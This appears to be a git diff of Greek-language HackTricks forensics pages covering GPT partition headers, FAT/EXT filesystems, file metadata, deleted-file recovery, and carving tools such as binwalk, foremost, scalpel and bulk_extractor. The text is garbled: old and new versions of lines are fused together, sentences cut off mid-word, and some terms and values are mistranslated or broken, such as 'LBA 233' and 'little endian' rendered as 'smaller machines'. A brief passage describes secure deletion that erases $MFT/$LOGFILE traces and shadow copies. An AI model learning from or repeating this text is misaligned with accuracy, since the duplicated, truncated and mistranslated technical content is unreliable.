Σε λειτουργικά συστήματα που υποστηρίζουν την εκκίνηση βασισμένη σε GPT μέσω των υπηρεσιών BIOS αντί για EFI, ο πρώτος τομέας μπορεί επίσης να χρησιμοποιηθεί για την αποθήκευση του πρώτου σταδίου του κώδικα του **εκκινητή**, αλλά **τροποποιημένος** για να αναγνωρίζει τις **κατατμήσεις GPT**. Ο εκκινητής στο MBR δεν πρέπει να υποθέτει μέγεθος τομέα 512 bytes. Σε λειτουργικά συστήματα που υποστηρίζουν την **εκκίνηση βασισμένη σε GPT μέσω υπηρεσιών BIOS** αντί για EFI, ο πρώτος τομέας ενδέχεται να χρησιμοποιείται επίσης για την αποθήκευση του πρώτου σταδίου του κώδικα **εκκίνησης** του **φορτωτή**, αλλά **τροποποιημένος** για να αναγνωρίζει **τμήματα GPT**. Ο φορτωτής στο MBR δεν πρέπει να υποθέτει μέγεθος τομέα 512 bytes.
**Κεφαλίδα πίνακα κατατμήσεων (LBA 1)** **Κεφαλίδα πίνακα τμημάτων (LBA 1)**
[Από τη Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) [Από τη Wikipedia](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
Η κεφαλίδα του πίνακα κατατμήσεων καθορίζει τα χρήσιμα μπλοκ στο δίσκο. Καθορίζει επίσης τον αριθμό και το μέγεθος των καταχωρήσεων κατατμήσεων που αποτελ Η κεφαλίδα του πίνακα τμημάτων καθορίζει τα χρήσιμα τμήματα στο δίσκο. Ορίζει επίσης τον αριθμό και το μέγεθος των καταχωρήσεων τμημάτων που αποτελούν τον πίνακα τμημάτων (οφσετ 80 και 84 στον πίνακα).
| Οφσετ | Μήκος | Περιεχόμενα |
| --------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 0 (0x00) | 8 bytes | Υπογραφή ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h ή 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)σε μικρότερα μηχανήματα) |
| 8 (0x08) | 4 bytes | Αναθεώρηση 1.0 (00h 00h 01h 00h) για UEFI 2.8 |
| 12 (0x0C) | 4 bytes | Μέγεθος κεφαλίδας σε μικρότερη λειτουργία (σε bytes, συνήθως 5Ch 00h 00h 00h ή 92 bytes) |
| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) της κεφαλίδας (οφσετ +0 μέχρι μέγεθος κεφαλίδας) σε μικρότερη λειτουργία, με αυτό το πεδίο να μηδενίζεται κατά την υπολογιστική διαδικασία |
| 20 (0x14) | 4 bytes | Κρατούμενο; πρέπει να είναι μηδέν |
| 24 (0x18) | 8 bytes | Τρέχον LBA (τοποθεσία αυτού του αντίγραφου κεφαλίδας) |
| 32 (0x20) | 8 bytes | Αντίγραφο LBA (τοποθεσία του άλλου αντίγραφου κεφαλίδας) |
| 40 (0x28) | 8 bytes | Πρώτο χρήσιμο LBA για τμήματα (τελευταίο LBA πρωτεύοντος πίνακα + 1) |
| 48 (0x30) | 8 bytes | Τελευταίο χρήσιμο LBA (πρώτο LBA δευτερεύοντος πίνακα 1) |
| 56 (0x38) | 16 bytes | GUID δίσκου σε μικτή λειτουργία |
| 72 (0x48) | 8 bytes | Έναρξη LBA ενός πίνακα καταχωρήσεων τμημάτων (πάντα 2 στον πρωτεύον αντίγραφο) |
| 80 (0x50) | 4 bytes | Αριθμός καταχωρήσεων τμημάτων στον πίνακα |
| 84 (0x54) | 4 bytes | Μέγεθος μιας μεμονωμένης καταχώρησης τμήματος (συνήθως 80h ή 128) |
| 88 (0x58) | 4 bytes | CRC32 του πίνακα καταχωρήσεων τμημάτων σε μικρότερη λειτουργία |
| 92 (0x5C) | \* | Κρατούμενο; πρέπει να είναι μηδέν για το υπόλοιπο του τομέα (420 bytes για μέγεθος τομέα 512 bytes; αλλά μπορεί να είναι περισσότερο με μεγαλύτερα μεγέθη τομέων) |
**Καταχωρήσεις τμημάτων (LBA 233)**
| Μορφή καταχώρησης τμήματος GUID | | |
| --------------------------- | -------- | ----------------------------------------------------------------------------------------------------------------- |
| Οφσετ | Μήκος | Περιεχόμενα |
| 0 (0x00) | 16 bytes | [Οδηγός τύπου τμήματος GUID](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (μικτή λειτουργία) |
| 16 (0x10) | 16 bytes | Μοναδικός οδηγός τμήματος (μικτή λειτουργία) |
| 32 (0x20) | 8 bytes | Πρώτο LBA ([little endian](https://en.wikipedia.org/wiki/Little\_endian)) |
| 40 (0x28) | 8 bytes | Τελευταίο LBA (συμπεριλαμβανομένου, συνήθως περιττό) |
| 48 (0x30) | 8 bytes | Σημαίες χαρακτηριστικών (π.χ. το bit 60 υποδηλώνει μόνο για ανάγνωση) |
| 56 (0x38) | 72 bytes | Όνομα τμήματος (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE μονάδες κώδικα) |
**
## Συστήματα Αρχείων ## Συστήματα Αρχείων
### Λίστα συστημάτων αρχείων των Windows ### Λίστα Συστημάτων Αρχείων Windows
* **FAT12/16**: MSDOS, WIN95/98/NT/200 * **FAT12/16**: MSDOS, WIN95/98/NT/200
* **FAT32**: 95/2000/XP/2003/VISTA/7/8/10 * **FAT32**: 95/2000/XP/2003/VISTA/7/8/10
@ -114,38 +148,38 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
### FAT ### FAT
Το σύστημα αρχείων **FAT (File Allocation Table)** σχεδιάστηκε γύρω από τον πυρήνα του, τον πίνακα εκχώρησης αρχείων, που βρίσκεται στην αρχή του όγκου. Αυτό το σύστημα προστατεύει τα δεδομένα διατηρώντας **δύο αντίγραφα** του πίνακα, εξασφαλίζοντας την ακεραιότητα των δεδομένων ακόμη και αν ένα από αυτά καταστραφεί. Ο πίνακας, μαζί με τον ριζικό φάκελο, πρέπει να βρίσκονται σε μια **σταθερή θέση**, κρίσιμη για τη διαδικασία εκκίνησης του συστήματος. Το **FAT (File Allocation Table)** σύστημα αρχείων σχεδιάστηκε γύρω από τον πυρήνα του, τον πίνακα εκχώρησης αρχείων, που βρίσκεται στην αρχή του όγκου. Αυτό το σύστημα προστατεύει τα δεδομένα διατηρώντας **δύο αντίγραφα** του πίνακα, εξασφαλίζοντας την ακεραιότητα των δεδομένων ακόμη και αν ένα από αυτά καταστραφεί. Ο πίνακας, μαζί με τον ριζικό φάκελο, πρέπει να βρίσκονται σε μια **σταθερή τοποθεσία**, η οποία είναι κρίσιμη για τη διαδικασία εκκίνησης του συστήματος.
Η βασική μονάδα αποθήκευσης του συστήματος αρχείων είναι ένα **cluster, συνήθως 512B**, που αποτελείται από πολλούς τομείς. Το FAT έχει εξελιχθεί μέσω των εκδόσεων: Η βασική μονάδα αποθήκευσης του συστήματος αρχείων είναι ένα **cluster, συνήθως 512B**, που αποτελείται από πολλούς τομείς. Το FAT έχει εξελιχθεί μέσα από τις εκδόσεις:
- **FAT12**, υποστηρίζοντας διευθύνσεις cluster 12-bit και διαχειριζόμενος έως 4078 clusters (4084 με UNIX). * **FAT12**, υποστηρίζοντας διευθύνσεις cluster 12-bit και χειριζόμενος έως 4078 clusters (4084 με UNIX).
- **FAT16**, προχωρώντας σε 16-bit διευθύνσεις, επιτρέποντας έως 65.517 clusters. * **FAT16**, ενισχύοντας σε διευθύνσεις 16-bit, επομένως φιλοξενεί έως 65,517 clusters.
- **FAT32**, προχωρώντας περαιτέρω με 32-bit διευθύνσεις, επιτρέποντας εντυπωσιακά 268.435.456 clusters ανά όγκο. * **FAT32**, προχωρώντας περαιτέρω με διευθύνσεις 32-bit, επιτρέποντας εντυπωσιακά 268,435,456 clusters ανά όγκο.
Ένας σημαντικός περιορισμός σε όλες τις εκδόσεις του FAT είναι το **μέγιστο μέγεθος αρχείου 4GB**, που επιβάλλεται από το πεδίο 32-bit που χρησιμοποιείται για την αποθήκευση του μεγέθους του αρχείου. Ένα σημαντικό περιορισμό σε όλες τις εκδόσεις FAT είναι το **μέγιστο μέγεθος αρχείου 4GB**, που επιβάλλεται από το πεδίο 32-bit που χρησιμοποιείται για την αποθήκευση του μεγέθους του αρχείου.
Κύρια στοιχεία του ριζικού φακέλου, ιδιαίτερα για τα FAT12 και FAT16, περιλαμβάνουν: Κύρια στοιχεία του ριζικού καταλόγου, ιδιαίτερα για FAT12 και FAT16, περιλαμβάνουν:
- **Όνομα Αρχείου/Φακέλου** (έως 8 χαρακτήρες) * **Όνομα Αρχείου/Φακέλου** (έως 8 χαρακτήρες)
- **Χαρακτηριστικά** * **Χαρακτηριστικά**
- **Ημερομηνίες Δημιουργίας, Τροποποίησης και Τελευταίας Πρόσβασης** * **Ημερομηνίες Δημιουργίας, Τροποποίησης και Τελευταίας Πρόσβασης**
- **Διεύθυνση Πίνακα FAT** (που υποδεικνύει τον αρχικό cluster του αρχείου) * **Διεύθυνση Πίνακα FAT** (που υποδεικνύει το cluster έναρξης του αρχείου)
- **Μέγεθος Αρχείου** * **Μέγεθος Αρχείου**
### EXT ### EXT
Το **Ext2** είναι το πιο κοινό σύστημα αρχείων για **μη-καταγραφή** διαμερίσματα (**διαμερίσματα που δεν αλλάζουν πολύ**) όπως το διαμέρισμα εκκίνησης. Τα **Ext3/4** είναι **καταγραφής** και χρησιμοποιούνται συνήθως για τα **υπόλοιπα διαμερίσματα**. Το **Ext2** είναι το πιο κοινό σύστημα αρχείων για **μη-καταγραφή** διαμερίσματα (**διαμερίσματα που δεν αλλάζουν πολύ**) όπως το διαμέρισμα εκκίνησης. Τα **Ext3/4** είναι **καταγραφικά** και χρησιμοποιούνται συνήθως για τα **υπόλοιπα διαμερίσματα**.
## **Μεταδεδομένα** ## **Μεταδεδομένα**
Ορισμένα αρχεία περιέχουν μεταδεδομένα. Αυτές οι πληροφορίες αφορούν το περιεχόμενο του αρχείου, το οποίο μπορεί να είναι ενδιαφέρον για έναν αναλυτή, καθώς ανάλογα με τον τύπο του αρχείου, μπορεί να περιέχει πληροφορίες όπως: Κάποια αρχεία περιέχουν μεταδεδομένα. Αυτές οι πληροφορίες αφορούν το περιεχόμενο του αρχείου το οποίο μερικές φορές μπορεί να είναι ενδιαφέρον για έναν αναλυτή καθώς ανάλογα με τον τύπο του αρχείου, μπορεί να περιέχει πληροφορίες όπως:
* Τίτλος * Τίτλος
* Έκδοση MS Office που χρησιμοποιήθηκε * Έκδοση MS Office που χρησιμοποιήθηκε
* Συγγραφέας * Δημιουργός
* Ημερομηνίες δημιουργίας και τελευταίας τροποποίησης * Ημερομηνίες δημιουργίας και τελευταίας τροποποίησης
* Μοντέλο της κάμερας * Μοντέλο της κάμερας
* Γεωγραφικές συντεταγμένες GPS * Γεωγραφικές συντεταγμένες
* Πληροφορίες εικόνας * Πληροφορίες εικόνας
Μπορείτε να χρησιμοποιήσετε εργαλεία όπως το [**exiftool**](https://exiftool.org) και το [**Metadiver**](https://www.easymetadata.com/metadiver-2/) για να λάβετε τα μεταδεδομένα ενός αρχείου. Μπορείτε να χρησιμοποιήσετε εργαλεία όπως το [**exiftool**](https://exiftool.org) και το [**Metadiver**](https://www.easymetadata.com/metadiver-2/) για να λάβετε τα μεταδεδομένα ενός αρχείου.
@ -154,4 +188,36 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
### Καταγεγραμμένα Διαγραμμένα Αρχεία ### Καταγεγραμμένα Διαγραμμένα Αρχεία
Όπως είδαμε προηγουμένως, υπάρχουν αρκετά μέρη όπου το αρχείο εξακολουθεί να αποθηκεύεται αφού έχει "διαγραφεί". Αυτό συμβαίνει επειδή συνήθως η διαγραφή ενός αρχείου από ένα σύστημα αρχείων απλώς το σημαίνει ως διαγραμμένο, αλλά τα δεδομένα δεν αγγίζονται. Έπειτα, είναι δυνατόν να επιθεω Όπως είδαμε προηγουμένως, υπάρχουν αρκετά μέρη όπου το αρχείο εξακολουθεί να αποθηκεύεται ακόμα και μετά την "διαγραφή" του. Αυτό συμβαίνει επειδή συνήθως η διαγραφή ενός αρχείου από ένα σύστημα αρχείων απλώς το επισημαίνει ως διαγεγραμμένο αλλά τα δεδομένα δεν αγγίζονται. Έπειτα, είναι δυνατόν να ελεγχθούν τα μητρώα των αρχείων (όπως ο MFT) και να βρεθούν τα διαγεγραμμένα αρχεία.
Επίσης, το λειτουργικό σύστημα συνήθως αποθηκεύει πολλές πληροφορίες σχετικά με τις αλλαγές στο σύστημα αρχείων και τα αντίγραφα ασφαλείας, οπότε είναι δυνατόν να προσπαθήσετε να τα χρησιμοποιήσετε για να ανακτήσετε το αρχείο ή τόσες πληροφορίες όσο είναι δυνατόν.
{% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
{% endcontent-ref %}
### **Ανάγλυφο Αρχείων**
Το **ανάγλυφο αρχείων** είναι μια τεχνική που προσπαθεί να **βρει αρχεία στο μεγάλο όγκο δεδομένων**. Υπάρχουν 3 κύριοι τρόποι λειτουργίας εργαλείων όπως αυτά: **Βασισμένοι στους τίτλους και τους υποσέντρους των τύπων αρχείων**, βασισμένοι στις **δομές των τύπων αρχείων** και βασισμένοι στο **περιεχόμενο** ίδιο.
Σημειώστε ότι αυτή η τεχνική **δεν λειτουργεί για την ανάκτηση κομμένων αρχείων**. Αν ένα αρχείο **δεν αποθηκεύεται σε συνεχόμενους τομείς**, τότε αυτή η τεχνική δεν θα μπορέσει να το βρει ή τουλάχιστον ένα μέρος του.
Υπάρχουν πολλά εργαλεία που μπορείτε να χρησιμοποιήσετε για το ανάγλυφο αρχείων δείχνοντας τους τύπους αρχείων που θέλετε να αναζητήσετε
{% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
{% endcontent-ref %}
### Ανάγλυφο Ροής Δεδομένων
Το Ανάγλυφο Ροής Δεδομένων είναι παρόμοιο με το Ανάγλυφο Αρχείων αλλά **αντί να αναζητά ολοκληρωμένα αρχεία, αναζητά ενδιαφέρουσες αποσπάσματα** πληροφοριών.\
Για παράδειγμα, αντί να αναζητά ένα ολόκληρο αρχείο που περιέχει καταγεγραμμένες διευθύνσεις URL, αυτή η τεχνική θα αναζητήσει τις διευθύνσεις URL.
{% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
{% endcontent-ref %}
### Ασφαλής Διαγραφή
Φυσικά, υπάρχουν τρόποι για τη **"ασφαλή" διαγραφή αρχείων και μέρους των καταγραφών σχετικά με αυτά**. Για παράδειγμα, είναι δυνατόν να **αντικαταστήσετε το περιεχόμενο** ενός αρχείου με ανούσια δεδομένα πολλές φορές, και στη συνέχεια **να αφαιρέσετε** τις **καταγραφές** από το **$MFT** και το **$LOGFILE** σχετικά με το αρχείο, και **να αφαιρέσετε τις Αντιγραφές Σκιών του Δίσκου**.\
Μπορεί να παρατηρήσετε ότι ακόμα και εκτελώντας αυτήν την ενέργεια ενδέχεται να υπάρχουν **άλλα μέρη όπου η ύπαρξη του αρχείου εξακολουθεί να κ

View file

@ -1,36 +1,30 @@
# Εργαλεία Ανάκτησης & Ανάλυσης Δεδομένων Αρχείων
<details> <details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks: Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure> ## Εργαλεία Ανάκτησης & Ανάλυσης
Βρείτε ευπάθειες που έχουν μεγαλύτερη σημασία, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Το Intruder παρακολουθεί την επιθετική επιφάνεια σας, εκτελεί προληπτικές απειλητικές αναζητήσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίβα, από APIs έως web εφαρμογές και συστήματα στο cloud. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
# Εργαλεία Carving & Recovery
Περισσότερα εργαλεία στο [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) Περισσότερα εργαλεία στο [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
## Autopsy ### Autopsy
Το πιο κοινό εργαλείο που χρησιμοποιείται στην αντιμετώπιση παραβιάσεων για την εξαγωγή αρχείων από εικόνες είναι το [**Autopsy**](https://www.autopsy.com/download/). Κατεβάστε το, εγκαταστήστε το και κάντε το να επεξεργαστεί το αρχείο για να βρει "κρυφά" αρχεία. Σημειώστε ότι το Autopsy είναι σχεδιασμένο για να υποστηρίζει εικόνες δίσκων και άλλους τύπους εικόνων, αλλά όχι απλά αρχεία. Το πιο κοινό εργαλείο που χρησιμοποιείται στην ανάκριση για την εξαγωγή αρχείων από εικόνες είναι το [**Autopsy**](https://www.autopsy.com/download/). Κατεβάστε το, εγκαταστήστε το και κάντε το να αναλύσει το αρχείο για να βρεί "κρυμμένα" αρχεία. Σημειώστε ότι το Autopsy είναι σχεδιασμένο για να υποστηρίζει εικόνες δίσκων και άλλους τύπους εικόνων, αλλά όχι απλά αρχεία.
## Binwalk <a href="#binwalk" id="binwalk"></a> ### Binwalk <a href="#binwalk" id="binwalk"></a>
Το **Binwalk** είναι ένα εργαλείο για την ανάλυση δυαδικών αρχείων για την εύρεση ενσωματωμένου περιεχομένου. Μπορεί να εγκατασταθεί μέσω `apt` και ο πηγαίος κώδικας του βρίσκεται στο [GitHub](https://github.com/ReFirmLabs/binwalk). **Binwalk** είναι ένα εργαλείο για την ανάλυση δυαδικών αρχείων για την εύρεση ενσωματωμένου περιεχομένου. Μπορεί να εγκατασταθεί μέσω `apt` και ο πηγαίος κώδικάς του βρίσκεται στο [GitHub](https://github.com/ReFirmLabs/binwalk).
**Χρήσιμες εντολές**: **Χρήσιμες εντολές**:
```bash ```bash
@ -39,86 +33,63 @@ binwalk file #Displays the embedded data in the given file
binwalk -e file #Displays and extracts some files from the given file binwalk -e file #Displays and extracts some files from the given file
binwalk --dd ".*" file #Displays and extracts all files from the given file binwalk --dd ".*" file #Displays and extracts all files from the given file
``` ```
## Foremost ### Foremost
Ένα άλλο κοινό εργαλείο για την εύρεση κρυφών αρχείων είναι το **foremost**. Μπορείτε να βρείτε το αρχείο ρυθμίσεων του foremost στη διαδρομή `/etc/foremost.conf`. Εάν θέλετε απλά να αναζητήσετε κάποια συγκεκριμένα αρχεία, κάντε σχόλιο στις αντίστοιχες γραμμές. Εάν δεν κάνετε σχόλιο σε κάτι, το foremost θα αναζητήσει τους τύπους αρχείων που έχουν προκαθοριστεί ως προεπιλογή. Ένα άλλο κοινό εργαλείο για την εύρεση κρυφών αρχείων είναι το **foremost**. Μπορείτε να βρείτε το αρχείο ρύθμισης του foremost στο `/etc/foremost.conf`. Αν θέλετε απλά να αναζητήσετε κάποια συγκεκριμένα αρχεία, κάντε σχόλιο την αντίστοιχη γραμμή. Αν δεν κάνετε σχόλιο σε κάτι, το foremost θα αναζητήσει τους τύπους αρχείων που έχουν προκαθοριστεί.
```bash ```bash
sudo apt-get install foremost sudo apt-get install foremost
foremost -v -i file.img -o output foremost -v -i file.img -o output
#Discovered files will appear inside the folder "output" #Discovered files will appear inside the folder "output"
``` ```
## **Scalpel** ### **Scalpel**
**Scalpel** είναι ένα άλλο εργαλείο που μπορεί να χρησιμοποιηθεί για να βρει και να εξάγει **αρχεία που έχουν ενσωματωθεί σε ένα αρχείο**. Σε αυτήν την περίπτωση, θα πρέπει να καταργήσετε το σχόλιο από το αρχείο ρυθμίσεων (_/etc/scalpel/scalpel.conf_) τους τύπους αρχείων που θέλετε να εξάγει. **Scalpel** είναι ένα άλλο εργαλείο που μπορεί να χρησιμοποιηθεί για να βρεί και να εξάγει **αρχεία που έχουν ενσωματωθεί σε ένα αρχείο**. Σε αυτήν την περίπτωση, θα χρειαστεί να καταργήσετε τα σχόλια από το αρχείο ρυθμίσεων (_/etc/scalpel/scalpel.conf_) των τύπων αρχείων που θέλετε να εξάγει.
```bash ```bash
sudo apt-get install scalpel sudo apt-get install scalpel
scalpel file.img -o output scalpel file.img -o output
``` ```
## Bulk Extractor ### Bulk Extractor
Αυτό το εργαλείο περιλαμβάνεται στο kali αλλά μπορείτε να το βρείτε εδώ: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor) Αυτό το εργαλείο περιλαμβάνεται στο Kali αλλά μπορείτε να το βρείτε εδώ: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
Αυτό το εργαλείο μπορεί να σαρώσει μια εικόνα και θα **εξάγει pcaps** μέσα σε αυτήν, **πληροφορίες δικτύου (URLs, domains, IPs, MACs, mails)** και περισσότερα **αρχεία**. Απλά πρέπει να κάνετε: Αυτό το εργαλείο μπορεί να σαρώσει μια εικόνα και θα **εξάγει pcaps** μέσα σε αυτή, **πληροφορίες δικτύου (URLs, domains, IPs, MACs, emails)** και περισσότερα **αρχεία**. Θα πρέπει μόνο να:
``` ```
bulk_extractor memory.img -o out_folder bulk_extractor memory.img -o out_folder
``` ```
Περιηγηθείτε μέσα από **όλες τις πληροφορίες** που έχει συγκεντρώσει το εργαλείο (κωδικοί πρόσβασης;), **αναλύστε** τα **πακέτα** (διαβάστε [**Ανάλυση Pcaps**](../pcap-inspection/)), αναζητήστε **περίεργους τομείς** (τομείς που σχετίζονται με **κακόβουλο λογισμικό** ή **μη υπαρκτούς**). ### PhotoRec
## PhotoRec
Μπορείτε να το βρείτε στο [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download) Μπορείτε να το βρείτε στο [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download)
Έρχεται με εκδόσεις GUI και CLI. Μπορείτε να επιλέξετε τους **τύπους αρχείων** που θέλετε το PhotoRec να αναζητήσει. Έρχεται με εκδόσεις GUI και CLI. Μπορείτε να επιλέξετε τα **τύποι αρχείων** που θέλετε το PhotoRec να αναζητήσει.
![](<../../../.gitbook/assets/image (524).png>) ![](<../../../.gitbook/assets/image (524).png>)
## binvis ### binvis
Ελέγξτε τον [κώδικα](https://code.google.com/archive/p/binvis/) και το [εργαλείο στην ιστοσελίδα](https://binvis.io/#/). Ελέγξτε τον [κώδικα](https://code.google.com/archive/p/binvis/) και το [εργαλείο στην ιστοσελίδα](https://binvis.io/#/).
### Χαρακτηριστικά του BinVis #### Χαρακτηριστικά του BinVis
* Οπτικός και ενεργός **προβολέας δομής** * Οπτικός και ενεργός **δομικός προβολέας**
* Πολλαπλά γραφήματα για διάφορα σημεία εστίασης * Πολλαπλά γραφήματα για διαφορετικά σημεία εστίασης
* Εστίαση σε μέρη ενός δείγματος * Εστίαση σε τμήματα ενός δείγματος
* **Προβολή συμβολοσειρών και πόρων**, σε εκτελέσιμα αρχεία PE ή ELF, για παράδειγμα * **Προβολή συμβόλων και πόρων**, σε εκτελέσιμα PE ή ELF, κ.λπ.
* Λήψη **μοτίβων** για κρυπτοανάλυση αρχείων * Λήψη **μοτίβων** για κρυπτανάλυση αρχείων
* **Εντοπισμός** αλγορίθμων συμπίεσης ή κωδικοποίησης * **Εντοπισμός** αλγορίθμων συμπιεστή ή κωδικοποιητή
* **Αναγνώριση** κρυπτογραφίας με βάση μοτίβα * **Αναγνώριση** Στεγανογραφίας με βάση τα μοτίβα
* **Οπτική** σύγκριση δυαδικών αρχείων * **Οπτική** διαφοροποίηση δυαδικών
Το BinVis είναι ένα εξαιρετικό **σημείο εκκίνησης για να γνωρίσετε έναν άγνωστο στόχο** σε ένα σενάριο μαύρου κουτιού. Το BinVis είναι ένα εξαιρετικό **σημείο εκκίνησης για να εξοικειωθείτε με έναν άγνωστο στόχο** σε ένα σενάριο μαύρου κουτιού.
# Εργαλεία Ανάκτησης Συγκεκριμένων Δεδομένων ## Εργαλεία Ανάκτησης Συγκεκριμένων Δεδομένων
## FindAES ### FindAES
Αναζητά κλειδιά AES αναζητώντας τα προγράμματα προγραμματισμού τους. Μπορεί να βρει κλειδιά 128, 192 και 256 bit, όπως αυτά που χρησιμοποιούνται από το TrueCrypt και το BitLocker. Αναζητά κλειδιά AES αναζητώντας τα προγράμματα κλειδιών τους. Μπορεί να βρει κλειδιά 128, 192 και 256 bit, όπως αυτά που χρησιμοποιούνται από το TrueCrypt και το BitLocker.
Κατεβάστε το [εδώ](https://sourceforge.net/projects/findaes/). Λήψη [εδώ](https://sourceforge.net/projects/findaes/).
# Συμπληρωματικά εργαλεία ## Συμπληρωματικά εργαλεία
Μπορείτε να χρησιμοποιήσετε το [**viu**](https://github.com/atanunq/viu) για να δείτε εικόνες από το τερματικό.\ Μπορείτε να χρησιμοποιήσετε το [**viu** ](https://github.com/atanunq/viu)για να δείτε εικόνες από το τερματικό.\
Μπορείτε να χρησιμοποιήσετε το εργαλείο γραμμής εντολών του Linux **pdftotext** για να μετατρέψετε ένα pdf σε κείμενο και να το διαβάσετε. Μπορείτε να χρησιμοποιήσετε το εργαλείο γραμμής εντολών του Linux **pdftotext** για να μετατρέψετε ένα pdf σε κείμενο και να το διαβάσετε.
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Βρείτε ευπάθειες που είναι πιο σημαντικές, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Το Intruder παρακολουθεί την επιθετική επιφάνειά σας, εκτελεί προληπτικές απειλητικές αναζητήσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίχημα, από τις διεπαφές προς τις ιστοσελίδες και τα συστήματα στο cloud. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
